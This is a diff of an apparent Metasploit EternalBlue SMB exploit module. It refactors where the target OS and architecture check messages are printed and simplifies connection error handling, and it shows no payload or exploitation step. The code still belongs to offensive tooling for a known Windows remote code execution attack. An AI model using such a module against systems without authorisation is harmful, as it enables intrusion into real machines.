@@ -153,11 +153,22 @@ def smb_eternalblue(process_name, grooms)
153
153
client , tree , sock , os = smb1_anonymous_connect_ipc ( )
154
154
print_good ( "Connection established for exploitation." )
155
155
156
- if !verify_target ( os )
156
+ if verify_target ( os )
157
+ print_good ( 'Target OS selected valid for OS indicated by SMB reply' )
158
+ else
159
+ print_warning ( 'Target OS selected not valid for OS indicated by SMB reply' )
160
+ print_warning ( 'Disable VerifyTarget option to proceed manually...' )
157
161
raise EternalBlueError , 'Unable to continue with improper OS Target.'
158
162
end
159
163
160
- if !verify_arch
164
+ # cool buffer print no matter what, will be helpful when people post debug issues
165
+ print_core_buffer ( os )
166
+
167
+ if verify_arch
168
+ print_good ( 'Target arch selected valid for OS indicated by DCE/RPC reply' )
169
+ else
170
+ print_warning ( 'Target arch selected not valid for OS indicated by DCE/RPC reply' )
171
+ print_warning ( 'Disable VerifyArch option to proceed manually...' )
161
172
raise EternalBlueError , 'Unable to continue with improper OS Arch.'
162
173
end
163
174
@@ -234,18 +245,8 @@ def verify_target(os)
234
245
break
235
246
end
236
247
end
237
-
238
- if ret
239
- print_good ( 'Target OS selected valid for OS indicated by SMB reply' )
240
- else
241
- print_warning ( 'Target OS selected not valid for OS indicated by SMB reply' )
242
- print_warning ( 'Disable VerifyTarget option to proceed manually...' )
243
- end
244
248
end
245
249
246
- # cool buffer print no matter what, will be helpful when people post debug issues
247
- print_core_buffer ( os )
248
-
249
250
return ret
250
251
end
251
252
@@ -268,13 +269,8 @@ def verify_arch
268
269
'RHOST' => rhost ,
269
270
'RPORT' => 135
270
271
)
271
- rescue ::Errno ::ECONNRESET ,
272
- ::Rex ::HostUnreachable ,
273
- ::Rex ::ConnectionTimeout ,
274
- ::Rex ::ConnectionRefused => e
272
+ rescue Rex ::ConnectionError => e
275
273
print_error ( e . to_s )
276
- print_warning ( 'Target arch not detected for target OS' )
277
- print_warning ( 'Disable VerifyArch option to proceed manually...' )
278
274
return false
279
275
end
280
276
@@ -310,13 +306,6 @@ def verify_arch
310
306
end
311
307
end
312
308
313
- if ret
314
- print_good ( 'Target arch selected valid for OS indicated by DCE/RPC reply' )
315
- else
316
- print_warning ( 'Target arch selected not valid for OS indicated by DCE/RPC reply' )
317
- print_warning ( 'Disable VerifyArch option to proceed manually...' )
318
- end
319
-
320
309
ret
321
310
end
322
311
0 commit comments